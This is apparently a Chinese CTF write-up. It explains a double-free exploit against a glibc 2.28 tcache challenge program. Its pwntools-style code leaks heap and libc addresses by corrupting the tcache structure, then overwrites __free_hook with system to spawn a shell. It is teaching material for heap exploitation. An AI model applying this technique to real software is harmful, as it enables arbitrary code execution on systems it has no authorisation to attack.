tcache的一个challenge程序
这个程序链接的是glibc2.28
程序允许申请8次,释放5次,并且申请的空间大小只能是tcache支持的大小;
程序的漏洞是double free,free的时候没有清除指向堆的指针
因为是challenge的程序,运行的时候是没有libc泄漏和堆地址泄漏的;
所以首先我们需要考虑使用unsortedbin leak泄漏libc
能够得到unsortedbin有这样几种可能:
- 填满tcache之后得到unsortedbin
- 申请不在tcache大小范围内的空间
- 修改环境变量
GLIBC_TUNABLE
- 直接修改tcache将其改为full
关于这个环境变量GLIBC_TUNABLE
有一些影响malloc
的环境变量,这里可以通过查看mallopt
的手册看到
设置环境变量的方法一是可以直接在运行时终端中设置,或者可以调用mallopt
函数设置
MALLOC_ARENA_MAX
MALLOC_ARENA_TEST
MALLOC_CHECK_
MALLOC_MMAP_MAX_
MALLOC_MMAP_THRESHOLD_
MALLOC_TOP_PAD_
这里可以看到MALLOC_MMAP_THRESHOLD_
这个环境变量,就可以直接影响mmap_threshold
可能就在House of Rabbit中可以用到
GLIBC_TUNABLE
则是另外的一系列环境变量,可以在gdb中使用p tunable_list
查看
tunable_list中有一项glibc.malloc.tcache_count
,可以直接修改tcache的大小
如果程序运行时设置了GLIBC_TUNABLE
,那么这个变量会被存在堆最起始的一部分区域中
这虽然看起来在local exploitation中很有用,但是有一些限制
例如glibc.malloc.tcache_count
这一项的security_level=TUNABLE_SECLEVEL_SXID_ERASE
,这样的变量就无法传递给setuid的程序,setuid相关的内容可以看这篇博客
前面三项都没办法实现,填满tcache需要申请7次以上,但是这个程序限制了申请数量为8;
那么可以尝试的方法就是直接去修改tcache,让tcache以为自己已经满了
要实现这样的目标,首先需要有一个堆地址的泄漏
chunk_A = malloc(0x18, 'aaaa')
free(chunk_A)
free(chunk_A)
chunk_B = malloc(0x18,'bbbb')
free(chunk_A)
申请了chunk_B之后由于覆盖了原本chunk_A第二次free掉时tcache的next指针
所以在申请之后需要再一次释放掉chunk_A,这时利用chunk_B的指针读取就能得到一个指向chunk_B自己的地址
减去0x260之后就是堆的起始地址了
接下来的问题就是泄漏libc的地址,再次malloc一个相同大小的chunk,修改tcache的指针指向堆开始的位置,将unsortedbin对应大小的chunk数量改为7
为了节省申请chunk的次数,把0x18改为0x88,这样直接就是unsortedbin的大小了
chunk_A = malloc(0x88, 'aaaa')
malloc(0x18, 'aaaa')
free(chunk_A)
free(chunk_A)
chunk_B = malloc(0x88,'bbbb')
free(chunk_A)
heap = u64(read(chunk_B)) - 0x260
chunk_C = malloc(0x88, p64(heap+0x10))
# chunk_C也和chunk_B指向一个位置
chunk_D = malloc(0x88, 'dddd')
# 把0x250位置的chunk申请下来
# 这时B、C、D都指向同一个位置
chunk_heap = malloc(0x88, p64(0x0700000000000000))
# 修改0x88的tcache count为7
free(chunk_B)
执行完毕之后查看堆,可以看到chunk_B被放入到了unsortedbin中
由于之前B、C、D都是指向这一个位置,可以直接用C或是D的指针来读取unsortedbin的fd、bk
libc.address = u64(read(chunk_C)[:8])-0x70-libc.sym.__malloc_hook
有了libc地址,接下来就可以再一次使用tcache dup直接去修改__free_hook
的值了
这时还剩下两次malloc和一次free
如果想要用__free_hook
获取shell的话那就只能使用malloc了
之前申请的chunk_heap
直接指向了tcache,但是我们只用它修改了0x88的tcache count
如果在这次请求中一同修改掉某个tcache next指针呢
0x20大小的chunk的tcache next偏移在0x50位置,如果把这个地方改为指向自己的指针
接下来申请两次就能够实现类似tcache dup的效果了
# === Leak Heap
chunk_A = malloc(0x88, 'aaaa')
binsh = malloc(0x18, '/bin/sh')
free(chunk_A)
free(chunk_A)
chunk_B = malloc(0x88,'bbbb')
free(chunk_A)
heap = u64(read(chunk_B)) - 0x260
# === Leak Libc
chunk_C = malloc(0x88, p64(heap+0x10))
# chunk_C也和chunk_B指向一个位置
chunk_D = malloc(0x88, 'dddd')
# 把0x250位置的chunk申请下来
# 这时B、C、D都指向同一个位置
# chunk_heap = malloc(0x88, p64(0x0700000000000000))
# # 修改0x88的tcache count为7
chunk_heap = malloc(0x88, p64(0x0700000000000000)+p8(0)*56+p64(heap+0x50))
# 修改0x20大小的tcache next指向自己
free(chunk_B)
libc.address = u64(read(chunk_C)[:8])-0x70-libc.sym.__malloc_hook
# === hijack __free_hook
malloc(0x18, libc.sym.__free_hook-0x10)
malloc(0x18, libc.sym.system)
free(binsh)
最终就获得了shell